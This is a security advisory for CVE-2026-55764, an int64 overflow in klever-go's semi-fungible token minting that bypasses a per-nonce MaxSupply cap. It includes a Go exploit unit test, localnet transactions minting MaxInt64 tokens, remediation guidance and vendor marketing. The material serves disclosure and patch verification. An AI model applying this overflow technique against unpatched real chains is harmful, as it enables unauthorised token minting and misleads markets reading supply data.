CVE-2026-55764
Fix: klever-io/klever-go@8bcc600CVE-2026-55764 is a CWE-190 vulnerability in github.com/klever-io/klever-go. O3 Security confirms whether CVE-2026-55764 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
klever-go: SFT add-quantity `int64` overflow bypasses a finite per-nonce MaxSupply
Real-World Exposure
github.com/klever-io/klever-goReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
On the SFT add-quantity path the only supply bound is SFTAddCirculation, which does
meta.Circulation += amount with no overflow guard, then checks
if meta.Circulation > meta.MaxSupply && meta.MaxSupply != 0. If amount overflows int64 and wraps
negative, negative > MaxSupply is false, the cap check passes, the function returns nil, and the balance
credit stands. A nonce created with a finite MaxSupply (e.g. 1000) can thus be minted to ~MaxInt64 tokens in
one transaction. The fungible mint path is not vulnerable — it has a post-increment MintedValue <= 0 guard
that the SFT path lacks.
Affected code
core/kapp/systemAccount/systemAcount.go:132-138(SFTAddCirculation, the unguarded+=).- Caller:
core/kapp/kda/mint.go:247-283(processSemiFungibleAddQuantity); contrast guardmint.go:289.
Impact
A mint-role holder mints ~9.2e18 units of a nonce whose declared MaxSupply is small, with no authorized debit,
and corrupts the on-chain Circulation counter to a negative value (misleading any market/indexer that reads it).
Reachability
Mint-role holder (asset owner or an address granted the role). The mint Amount is a raw int64 from the
contract with no upstream upper bound.
Proof of concept
Unit test
TestExploit_SFTCirculationOverflowBypassesCap creates a nonce capped at MaxSupply = 1000, seeds
Circulation = 5, then calls SFTAddCirculation(MaxInt64). The call returns nil (cap bypassed) and Circulation
wraps to -9223372036854775804; a normal over-cap amount (2000) is correctly rejected with
ErrMaxSupplyExceeded and does not persist — isolating the unguarded += overflow as the bypass.
package systemAccount
import (
"math"
"testing"
"github.com/klever-io/klever-go/common"
commonMock "github.com/klever-io/klever-go/common/mock"
"github.com/klever-io/klever-go/data/state"
"github.com/klever-io/klever-go/kapps"
"github.com/klever-io/klever-go/tools/marshal"
"github.com/stretchr/testify/require"
)
func newExploitSystemAccountKApp(t *testing.T) (*systemAccountKApp, map[string][]byte) {
t.Helper()
marshalizer := &marshal.ProtoMarshalizer{}
store := make(map[string][]byte)
tracker := &commonMock.DataTrieTrackerStub{
RetrieveValueCalled: func(key []byte) ([]byte, error) {
return store[string(key)], nil
},
SaveKeyValueCalled: func(key []byte, value []byte) error {
store[string(key)] = value
return nil
},
}
kappAccount := &commonMock.KAppAccountHandlerStub{
DataTrieTrackerCalled: func() state.DataTrieTracker {
return tracker
},
}
s := &systemAccountKApp{marshalizer: marshalizer}
require.NoError(t, s.SetAccountsCacher(&commonMock.AccountsCacherStub{
LoadKAppCalled: func(address []byte) (state.KAppAccountHandler, error) {
return kappAccount, nil
},
}))
return s, store
}
func readMeta(t *testing.T, s *systemAccountKApp, asset, nonce []byte) *kapps.MetaV2 {
t.Helper()
meta, err := s.SFTGetMeta(asset, nonce)
require.NoError(t, err)
require.NotNil(t, meta)
return meta
}
// TestExploit_SFTCirculationOverflowBypassesCap proves that SFTAddCirculation
// (core/kapp/systemAccount/systemAcount.go:132) performs an unguarded
// `meta.Circulation += amount`. With an amount near MaxInt64, Circulation
// overflows int64 and wraps negative, so the signed cap check
// `meta.Circulation > meta.MaxSupply` reads false and the function returns nil:
// the finite per-nonce MaxSupply (1000) is bypassed and supply is minted far
// past the declared cap.
func TestExploit_SFTCirculationOverflowBypassesCap(t *testing.T) {
asset := []byte("SFTASSET")
nonce := []byte{0x01}
const maxSupply = int64(1000)
const startCirculation = int64(5)
// amount is a raw int64 from the contract with no upstream upper bound; the
// largest value it can carry is MaxInt64. With Circulation already at 5,
// 5 + MaxInt64 overflows int64 and wraps negative.
const overflowAmount = int64(math.MaxInt64) // 9223372036854775807
// --- setup: a nonce with a small FINITE MaxSupply and small Circulation ---
s, _ := newExploitSystemAccountKApp(t)
require.NoError(t, s.SFTCreateMeta(asset, nonce, maxSupply, []byte("hash")))
// seed an initial circulation of 5 (well within the cap)
require.NoError(t, s.SFTAddCirculation(asset, nonce, startCirculation))
before := readMeta(t, s, asset, nonce)
require.Equal(t, maxSupply, before.MaxSupply)
require.Equal(t, startCirculation, before.Circulation)
t.Logf("BEFORE exploit: MaxSupply=%d Circulation=%d", before.MaxSupply, before.Circulation)
// --- contrast: a normal over-cap amount IS correctly rejected ---
// 5 + 2000 = 2005 > 1000, no overflow -> ErrMaxSupplyExceeded.
contrastErr := s.SFTAddCirculation(asset, nonce, 2000)
require.ErrorIs(t, contrastErr, common.ErrMaxSupplyExceeded,
"a non-overflowing over-cap mint must be rejected")
// the rejected call must NOT have persisted (Circulation unchanged at 5)
afterContrast := readMeta(t, s, asset, nonce)
require.Equal(t, startCirculation, afterContrast.Circulation,
"rejected over-cap mint must not persist new circulation")
t.Logf("CONTRAST mint amount=2000 (5+2000=2005 > cap 1000) -> err=%v, Circulation stays %d",
contrastErr, afterContrast.Circulation)
// --- the exploit: amount near MaxInt64 overflows Circulation negative ---
exploitErr := s.SFTAddCirculation(asset, nonce, overflowAmount)
after := readMeta(t, s, asset, nonce)
t.Logf("EXPLOIT mint amount=%d (~MaxInt64), MaxSupply=%d", overflowAmount, after.MaxSupply)
t.Logf("AFTER exploit: Circulation=%d err=%v", after.Circulation, exploitErr)
// (1) the cap was BYPASSED: SFTAddCirculation returned nil, no ErrMaxSupplyExceeded
require.NoError(t, exploitErr,
"BUG: overflowing mint should have been capped but returned nil (cap bypassed)")
// (2) Circulation wrapped NEGATIVE: minted far past the declared cap of 1000
require.Negative(t, after.Circulation,
"BUG: Circulation must have overflowed to a negative value")
// sanity: the wrap is exactly the int64 two's-complement of 5 + overflowAmount.
// Computed via non-constant vars so the deliberate overflow happens at runtime
// (a constant expression would be rejected by the compiler).
circ := startCirculation
amt := overflowAmount
expectedWrap := circ + amt // intentional int64 overflow at runtime
require.Equal(t, expectedWrap, after.Circulation)
t.Logf("CONFIRMED: nonce capped at %d now reports Circulation=%d (negative); "+
"a real mint would have credited ~%d tokens with no matching debit.",
maxSupply, after.Circulation, overflowAmount)
}
</details>
On-chain reproduction (live single-node localnet)
SFT F05-2SDF was created with nonce 1 capped at MaxSupply = 1000 (the setup mint of amount = 1 succeeds
normally). An AssetTrigger Mint of amount = 9223372036854775807 (MaxInt64) for F05-2SDF/1, sent to a fresh
receiver, returned resultCode Ok with a Transfer receipt minting MaxInt64 from the protocol mint address —
no MaxSupplyExceeded, despite the declared cap of 1000. (Sending the same amount to an account that already held
nonce-1 units instead trips the balance overflow guard with RC 37, confirming the unguarded counter is
specifically SFTAddCirculation, reached only when the receiver's balance add does not itself overflow.)
{
"hash": "21e8059e50ffb5534a02f0f78e12db4632740d8d82da144d1f3732b4b55aad1a",
"blockNum": 463,
"status": "success",
"resultCode": "Ok",
"chainID": "420420",
"receipts": [
{
"assetId": "F05-2SDF/1",
"assetType": "SemiFungible",
"from": "klv1qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqpgm89z",
"to": "klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq",
"type": 0,
"typeString": "Transfer",
"value": 1
}
],
"contract": [
{
"type": 11,
"typeString": "AssetTriggerContractType",
"parameter": {
"triggerType": "Mint",
"assetId": "F05-2SDF",
"toAddress": "klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq",
"amount": 1
}
}
]
}
</details>
<details><summary>Exploit — <code>MaxInt64</code> add-quantity to a fresh receiver, result <code>Ok</code>, cap 1000 bypassed (hash <code>8aff40fa…2e1c981e</code>)</summary>
{
"hash": "8aff40fa270905516cad82083e7eae6264e63a6874f8c13d8348c3632e1c981e",
"blockNum": 484,
"status": "success",
"resultCode": "Ok",
"chainID": "420420",
"receipts": [
{
"assetId": "F05-2SDF/1",
"assetType": "SemiFungible",
"from": "klv1qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqpgm89z",
"to": "klv1qeh4py4p5zzy94l2hnygpfklug82gpzw08u680ycwp00njxyhgdqcv2xjm",
"type": 0,
"typeString": "Transfer",
"value": 9223372036854775807
}
],
"contract": [
{
"type": 11,
"typeString": "AssetTriggerContractType",
"parameter": {
"triggerType": "Mint",
"assetId": "F05-2SDF/1",
"toAddress": "klv1qeh4py4p5zzy94l2hnygpfklug82gpzw08u680ycwp00njxyhgdqcv2xjm",
"amount": 9223372036854775807
}
}
]
}
</details>
Remediation
- In
SFTAddCirculation, add a post-increment overflow guard before the cap check (e.g.if meta.Circulation < 0 { return ErrSupplyNotValid }, matching the fungibleMintedValue <= 0pattern), or checkamountagainstMaxSupply - Circulationwith overflow-safe arithmetic. - Consensus-affecting → gate behind the next activation flag.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/klever-io/klever-go | all versions | 1.7.19 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/klever-io/klever-go. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/klever-io/klever-go to 1.7.19 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-55764 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether CVE-2026-55764 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to CVE-2026-55764. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-55764 in your dependencies?
O3 detects CVE-2026-55764 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.